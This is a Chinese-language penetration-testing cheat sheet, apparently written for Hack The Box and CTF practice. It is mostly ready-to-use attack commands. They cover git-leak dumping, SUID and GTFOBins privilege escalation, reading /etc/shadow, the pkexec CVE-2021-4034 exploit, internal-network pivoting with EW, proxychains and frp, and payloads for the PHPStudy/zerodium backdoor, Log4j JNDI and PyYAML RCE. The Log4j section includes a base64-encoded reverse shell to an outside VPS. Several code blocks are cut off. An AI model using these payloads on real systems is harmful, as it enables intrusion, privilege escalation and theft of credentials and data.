渗透(Hack The Box / HTB)
信息泄露
git
如存在 .git 泄露:
githacker --url http://x.x.x.x/ --output-folder test
查看历史commits:git commit
回退到上一个版本:git reset --hard HEAD^
扫描
nmap
nmap -sC -sV xx.xx.xx.xx -oA src/
-sC
is for using default nmap scripts,
-sV
for enumerating services versions,
-oA
is for output ALL format and specify the directory src
,
NOTICE: you may be adding -Pn
if you have an error wait for some time and here is the result.
提权
参考:GTFOBins
SUID提权(4000权限)
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
发现系统上运行的所有SUID可执行文件,不同系统适用于不同的命令:
1 | find / -perm -u=s -type f 2>/dev/null |
环境变量
1 | #/home/raj/script/shell具SUID权限 |
1 | #/home/raj/script/shell具SUID权限,且shell中用system命令执行了service指令 |
find
1 | # 普通用户,进入到/tmp目录下,然后新建一个文件 |
/etc/shadow
1 | xxd "/etc/shadow" | xxd -r |
/etc/passwd
1 | cat /etc/passwd>passwd |
nl
nl /flag
date
/usr/bin/date -f /flag
(利用date命令的 -f 参数读取文件)
curl
curl file:///flag
cp
cp /flag /dev/stdout
gzip
gzip -f /flag -t
python
python -c 'import os;os.system("/bin/sh")'
以其他用户运行命令
sudo -l
(查看此用户拥有的特殊权限,如 NOPASSWD
,路径 /etc/sudoer.d
)
echo password | su -c userB cat xxx.txt
根目录非root权限
ls -al /
(检查根目录权限是否非root)
1 | mv bin bin1 |
pkexec提权漏洞
/usr/lib/policykit-1/polkit-agent-helper-1
https://github.com/arthepsy/CVE-2021-4034
1 | chmod +x ./pkexec_poc |
非常规读文件
1 | /lib/gcc/x86_64-linux-gnu/[id]/cc1 /etc/passwd -o /dev/null |
内网穿透
探测内网主机
1
for k in $( seq 1 255);do ping -c 1 10.203.113.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
常见端口扫描
EW代理:
./ew_for_linux64 -s ssocksd -l 9999
扫描:
proxychains3 nmap 扫描常见端口
操作
远程连接数据库:
proxychains3 mysql -h 10.203.113.33 -u ctf -p
启动火狐浏览器:
proxychains3 firefox
远程连接:
proxychains3 rdesktop 10.203.113.34:3389
proxychains
ProxyChains是Linux和其他Unix下的代理工具。 它可以使任何程序通过代理上网, 允许TCP和DNS通过代理隧道, 支持HTTP、 SOCKS4和SOCKS5类型的代理服务器, 并且可配置多个代理。 ProxyChains通过一个用户定义的代理列表强制连接指定的应用程序, 直接断开接收方和发送方的连接。
配置文件:/etc/proxychains.conf
,在末尾添加代理。
frp
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
项目地址 https://github.com/fatedier/frp/blob/master/README_zh.md
目录文件:
1 | frpc 客户端可执行程序 |
服务端配置( frps.ini
文件)
1 | [common] |
启动: ./frps -c frps.ini
客户端配置( frpc.ini
文件)
1 | [common] |
启动: ./frpc -c frpc.ini
其他
PHPStudy 后门漏洞
1 | import requests |
zerodium 后门
列目录:User-Agentt: zerodiumsystem('ls /');
读文件:User-Agentt: zerodiumsystem('cat /flag');
log4j2 漏洞(CVE-2021-44228)
步骤:
在vps上通过 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 启动监听
1
2
3java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny54eHgueHh4LjIyMC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" -A "47.xxx.xxx.220"
# YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny54eHgueHh4LjIyMC8yMzMzIDA+JjE= 为 bash -i >& /dev/tcp/47.xxx.xxx.220/2333 0>&1, 用于反弹shell将payload填入找到的漏洞处
1
${jndi:ldap:${sys:file.separator}${sys:file.separator}47.xxx.xxx.220:1389${sys:file.separator}ge5udq}
绕过:
1 | ${jndi:ladp://xxxxxx.dnslog.cn/exp} |
PyYAML漏洞(CVE-2020-1747)
版本:5.3
1 | # pyyaml==5.3 required. Vulnerability has been fixed in 5.3.1 |
RCE:
1 | !!python/object/new:str |
1 | # payload.yaml |
1 | !!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , |
1 | !!python/object/new:type |
参考:
Development Server源码泄露(CNVD-2023-05738)
PHP<=7.4.21 Development Server源码泄露漏洞
PHP Development Server存在信息泄露漏洞,该漏洞源于php cli server begin send static在解析http请求时存在逻辑漏洞,攻击者可利用该漏洞将两个请求拼接至一个http请求中导致服务器将php文件作为静态文件返回。
1 | GET /A.php HTTP/1.1\r\n |